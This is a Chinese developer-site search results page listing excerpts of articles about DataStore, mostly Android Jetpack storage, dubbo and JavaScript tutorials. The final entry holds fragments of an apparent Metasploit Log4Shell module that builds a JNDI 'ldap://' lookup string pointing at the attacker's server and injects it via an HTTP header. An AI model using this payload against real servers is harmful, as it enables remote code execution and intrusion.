首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏Android码农

    DataStore快速上手

    背景 刚好新项目中有用好DataStore,整理了下快速上手方法,背景如下 官方的文档是过时的 网上介绍文档也是过时的 网上很多的分装,都不够完整,不能直接拿来用 本文是基于最新的1.0.0-alpha08 版本,文章有现成的分装好的方法,可以直接拿来用,使用前,先介绍下DataStore的特性 Datastore的特性 不支持跨进程(本质是基于文件存储,跨进程硬要用也是有值的,不过结果可能会错误或者会崩溃 这样不需要涉及任何权限申请,当然也可以设置在外部sd卡上,这样万一App卸载重装了,SP的内容不会丢失 性能比SP有很大的提升,内部使用protocol-buffers,比sp的xml的高效 还有一个proto DataStore } } } return value.first() as T } 这里默认值使用了泛型,一是为了确定返回的类型;二是DataStore value } } } } 一些说明 这里仅支持基本类型的保存,跟SP一样,如果要保存Bean类型,考虑使用proto DataStore

    1K20发布于 2021-09-29
  • 来自专栏码匠的流水账

    聊聊dubbo的DataStore

    序 本文主要研究一下dubbo的DataStore th (2).jpeg DataStore dubbo-2.7.2/dubbo-common/src/main/java/org/apache/dubbo /common/store/DataStore.java @SPI("simple") public interface DataStore { ​ /** * return a snapshot ("xxx", "yyy")); ​ dataStore.put("name", "key", "1"); assertEquals("1", dataStore.get testRemove() throws Exception { dataStore.remove("xxx", "yyy"); ​ dataStore.put("name ", "key", "1"); dataStore.remove("name", "key"); assertNull(dataStore.get("name", "key

    81210发布于 2019-06-19
  • 来自专栏码匠的流水账

    聊聊dubbo的DataStore

    序 本文主要研究一下dubbo的DataStore DataStore dubbo-2.7.2/dubbo-common/src/main/java/org/apache/dubbo/common/store /DataStore.java @SPI("simple") public interface DataStore { /** * return a snapshot value of ("xxx", "yyy")); dataStore.put("name", "key", "1"); assertEquals("1", dataStore.get( () throws Exception { dataStore.remove("xxx", "yyy"); dataStore.put("name", "key", " 1"); dataStore.remove("name", "key"); assertNull(dataStore.get("name", "key")); }

    57020发布于 2019-06-20
  • 来自专栏program

    Jetpack组件之DataStore

    对比 DataStore 提供两种不同的实现:Preferences DataStore 和 Proto DataStore。 依赖 // Preferences DataStore implementation "androidx.datastore:datastore-preferences:1.0.0" // Proto DataStore implementation "androidx.datastore:datastore-core:1.0.0" 使用 在两种实现中,除非另外特指,否则 DataStore 会将首选项存储在文件中 val dataStore: DataStore<Preferences> by preferencesDataStore(name = "settings") 读取 由于 Preferences DataStore 的两种实现相比而言,Preferences DataStore相对简单一些,Proto DataStore比较复杂些。

    1.6K10编辑于 2022-06-29
  • 来自专栏Android机动车

    DataStore初体验(alpha版)

    Jetpack DataStore是Google提出的一种数据存储解决方案,允许开发者使用key-value的方式或者是Protocol Buffers结构的数据对象。 DataStore使用Kotlin协程和Flow异步来实现数据存储,旨在替换SharedPreference,目前还是alpha版本。 根据Google的官方定义,DataStore提供了两种不同的数据存储的实现: Preference方式:使用key-value方式进行数据存储和读取,此方式不需要预定义数据结构,而且不保证数据类型的安全性

    69230发布于 2020-11-23
  • 来自专栏路遥的专栏

    DataStore —— SharedPreferences 的替代者 ?

    /+/androidx-master-dev:datastore/datastore-core/src/main/kotlin/androidx/datastore/DataStore.kt 什么是 DataStore 那么,什么是 DataStore 呢? DataStore provides ACID guarantees. It is thread-safe, and non-blocking. DataStore 是一个接口。 /datastore-core/src/test/kotlin/androidx/datastore/SingleProcessDataStoreTest.kt 最后 到目前为止,DataStore 仍在开发中

    81320发布于 2021-08-31
  • 来自专栏用户9239674的专栏

    使用 Jetpack DataStore 进行数据存储

    Jetpack DataStore 基于 Kotlin 协程和 Flow 开发,并提供两种不同的实现: Proto DataStore 和 Preferences DataStore。 虽然 Preferences DataStore 与 Proto DataStore 都可以存储数据,但它们的实现方法不尽相同: Preference DataStore,就像 SharedPreferences DataStore 是小型、简单数据集的理想选择,它并不支持局部更新与参照完整性。 使用 DataStore 首先添加 DataStore 依赖项。 // Preferences DataStore implementation "androidx.datastore:datastore-preferences:$dataStoreVersion 您可以使用 Context.createDataStore() 扩展方法创建 DataStore: // 创建 Preferences DataStore val dataStore: DataStore

    1.4K10编辑于 2022-01-12
  • 来自专栏Android 开发者

    使用 Jetpack DataStore 进行数据存储

    Jetpack DataStore 基于 Kotlin 协程和 Flow 开发,并提供两种不同的实现: Proto DataStore 和 Preferences DataStoreDataStore 是小型、简单数据集的理想选择,它并不支持局部更新与参照完整性。 使用 DataStore 首先添加 DataStore 依赖项。 "androidx.datastore:datastore-core:$dataStoreVersion" 当您使用 Proto DataStore 时,您需要在 app/src/main/proto 您可以使用 Context.createDataStore() 扩展方法创建 DataStore: // 创建 Preferences DataStore val dataStore: DataStore Preferences DataStore 还提供了一个 DataStore.edit() 函数来方便数据的更新。

    1K20发布于 2021-01-12
  • 来自专栏Android补给站

    Jetpack:DataStore必知的几个优点

    最近Jetpack又增加了新成员,提出了一个关于小型数据存储相关的DataStore组件。 根据官网的描述,DataStore完全是对标现有的SharedPreferences。 DataStore 针对sp那几个问题,DataStore都够能规避。为了精简语言,下面都将DataStore简称ds。 // Preferences DataStore implementation "androidx.datastore:datastore-preferences:1.0.0-alpha01" // Proto DataStore implementation "androidx.datastore:datastore-core:1.0.0-alpha01" 下面针对这两种类型分别做介绍。 最后附上一张Google分析的SharedPreferences和DataStore的区别图 ? 目前可以看到DataStore还处在alpha版本,非常期待它之后的正式版本。

    1.4K10发布于 2020-12-14
  • 来自专栏Android 开发者

    在 Kotlin 序列化中使用 DataStore

    我们之前已经 分享 了 Proto DataStore 和 Preferences DataStore 的使用方法。这两个 DataStore 版本都会在后台使用 Protos 对数据进行序列化。 您需要完成以下几项操作: 定义数据类 确保您的数据类不可变 使用 Kotlin 序列化实现 DataStore 序列化器 开始使用 定义数据类 Kotlin 数据类 非常适合与 DataStore 结合使用 结合使用可变类型与 DataStore 会导致难以捕获的错误和竞争条件。数据类并非一定不可变。 SPDX-License-Identifier: Apache-2.0 */ val Context.dataStore by dataStore("my_file.json", serializer 如要详细了解 DataStore,您可以查看我们的 文档 并获得一些使用 Proto DataStore 和 Preferences DataStore Codelab 的实践经验。

    77510编辑于 2022-03-09
  • 来自专栏linjinhe的专栏

    FoundationDB Record Layer: A Multi-Tenant Structured Datastore

    FoundationDB Record Layer: A Multi-Tenant Structured Datastore 是苹果公司在 SIGMOD 2019 上发表的一篇论文,介绍他们在 FoundationDB

    1.4K40发布于 2019-06-24
  • 来自专栏Android、鸿蒙开发

    Android Jetpack组件 DataStore的使用和简单封装

    正文   DataStore是Jetpack中的一个组件,用于做数据持久化,DataStore以异步、一致的事务方式存储数据,克服了SharedPreferences的一些缺点,DataStore基于Kotlin :datastore-preferences:1.0.0' implementation 'androidx.datastore:datastore-preferences-core:1.0.0 //定义dataStore private val Context.dataStore: DataStore<Preferences> by preferencesDataStore(name ,代码如下: // 创建DataStore val App.dataStore: DataStore<Preferences> by preferencesDataStore( name = "Study" ) // DataStore变量 val dataStore = App.instance.dataStore 下面我们先写好各个数据类型的存取方法

    4.6K20编辑于 2022-03-25
  • 来自专栏用户9239674的专栏

    全网最细解析DataStore,SharedPreferences终结者

    /   DataStore介绍   / Jetpack DataStore 是一种改进的新数据存储解决方案,允许使用协议缓冲区存储键值对或类型化对象。 DataStore提供了两种不同的实现:Preferences DataStore与Proto DataStore,其中Preferences DataStore用于存储键值对;Proto DataStore /   DataStore使用   / DataStore优势: DataStore基于事务方式处理数据更新。 构建Proto DataStore //构建Proto DataStore val Context.bookDataStorePt: DataStore<BookProto.Book> by dataStore SP迁移至Proto DataStore //构建Proto DataStore val Context.bookDataStorePt: DataStore<BookProto.Book> by dataStore

    2.7K40编辑于 2021-12-03
  • 来自专栏老欧说安卓

    Android开发笔记(一百七十八)更安全的数据仓库DataStore

    DataStore提供了两种实现方式,分别是Preferences DataStore 和Proto DataStore,前者采用键值对存储数据,后者采用自定义类型存储数据,其中Preferences DataStore可以直接替代SharedPreferences。 由于DataStore并未集成到SDK中,而是作为第三方框架提供,因此首先要修改模块的build.gradle文件,往dependencies节点添加下面两行配置,表示导入指定版本的DataStore库 : implementation "androidx.datastore:datastore-preferences:1.0.0" implementation "androidx.datastore: 的双精度数 datastore.setBooleanValue("married", isMarried); // 添加一个名叫married的布尔值 datastore.setStringValue(

    1.2K10编辑于 2022-01-05
  • 来自专栏Android、鸿蒙开发

    Android Compose 新闻App(三)网络数据Compose UI显示加载、Room和DataStore使用

    六、DataStore使用   刚才的问题可以通过什么方式去解决呢? 本地缓存,在Android中提到缓存,你最开始想到的就是SP(SharedPreferences),然后是腾讯的MMKV,再是DataStore,这三者是先后顺序出现的,也许你还不知道DataStore : //DataStore implementation "androidx.datastore:datastore-preferences:$datastore_version" implementation "androidx.datastore:datastore-preferences-core:$datastore_version" 位置如下图所示: 然后Sync Now。 // DataStore变量 private val dataStore = App.instance.dataStore /** * 存数据 */ fun

    3.7K31编辑于 2022-04-15
  • 来自专栏萌兔it

    数据结构于JS也可以成为CP(八)集合

    function show() { return this.dataStore; } function contains(data) { if (this.dataStore.indexOf(data ; ++i) { tempSet.add(this.dataStore[i]); } for (var i = 0; i < set.dataStore.length; ++i) { tempSet.contains(set.dataStore[i])) { tempSet.dataStore.push(set.dataStore[i]); } } ; ++i) { if (set.contains(this.dataStore[i])) { tempSet.add(this.dataStore[i]); } } set.contains(this.dataStore[i])) { tempSet.add(this.dataStore[i]); } } return tempSet; }

    68820发布于 2019-07-26
  • 来自专栏乐沙弥的世界

    vmware server FileNotFound: A file was not found

    For example: NameDirectory PathNotesDatastore1 Datastore2D:\Datastore D:\Datastore\NewDatastoreInvalid The directory path D:\Datastore is already in use by Datastore1 and cannot be used by Datastore2.Datastore1 Datastore2D:\Datastore D:\NewDatastoreValid. The directory path D:\NewDatastore is not in use by any existing datastore and is available for use.Datastore1 Datastore2D:\Datastores\Datastore1 D:\Datastores\Datastore2Valid.

    61420发布于 2018-08-14
  • 来自专栏萌兔it

    数据结构于JS也可以成为CP(六)字典

    下面我们看看具体实现吧: function Dictionary() { this.add = add; this.datastore = new Array(); this.find this.datastore[key]; } function showAll() { for(var key in Object.keys(this.datastore)) { print (this.datastore)) { ++n; } return n; } function clear() { for (var key in Object.keys(this.datastore )) { delete this.datastore[key]; } } 字典的使用 1)字典定义完了,我们来看看字典究竟好在哪里,又怎么用呢? this.datastore[key]); } }

    79320发布于 2019-07-26
  • 来自专栏Web前端开发

    JS 算法与数据结构之列表

    moveTo 将当前位置移动到指定位置 二、列表的实现 我们先从定义构造函数开始实现 function List() { this.listSize = 0 this.pos = 0 this.dataStore ; ++i) { if (this.dataStore[i] == element) { return i } } return -1 } 3、remove 方法 从列表中删除元素 function remove(element) { var foundAt = this.find(element) if (foundAt > -1) { this.dataStore.splice this.dataStore.length = 0 this.listSize = this.pos = 0 } clear() 方法使用 delete 操作符删除数组 dataStore,接着在下一行创建一个空数组 ; i++) { if (this.dataStore[i] == element) { return true } } return false } 9、遍历列表方法

    2K10发布于 2021-06-01
  • 来自专栏Khan安全团队

    Log4Shell HTTP 标头注入

    datastore['HTTP_HEADER'].blank? ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{ 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" end # # Use Ruby if datastore['HTTP_HEADER'].blank? (datastore['SRVHOST']) if datastore['HTTP_HEADER'].blank? && !

    1.6K10编辑于 2022-01-14
领券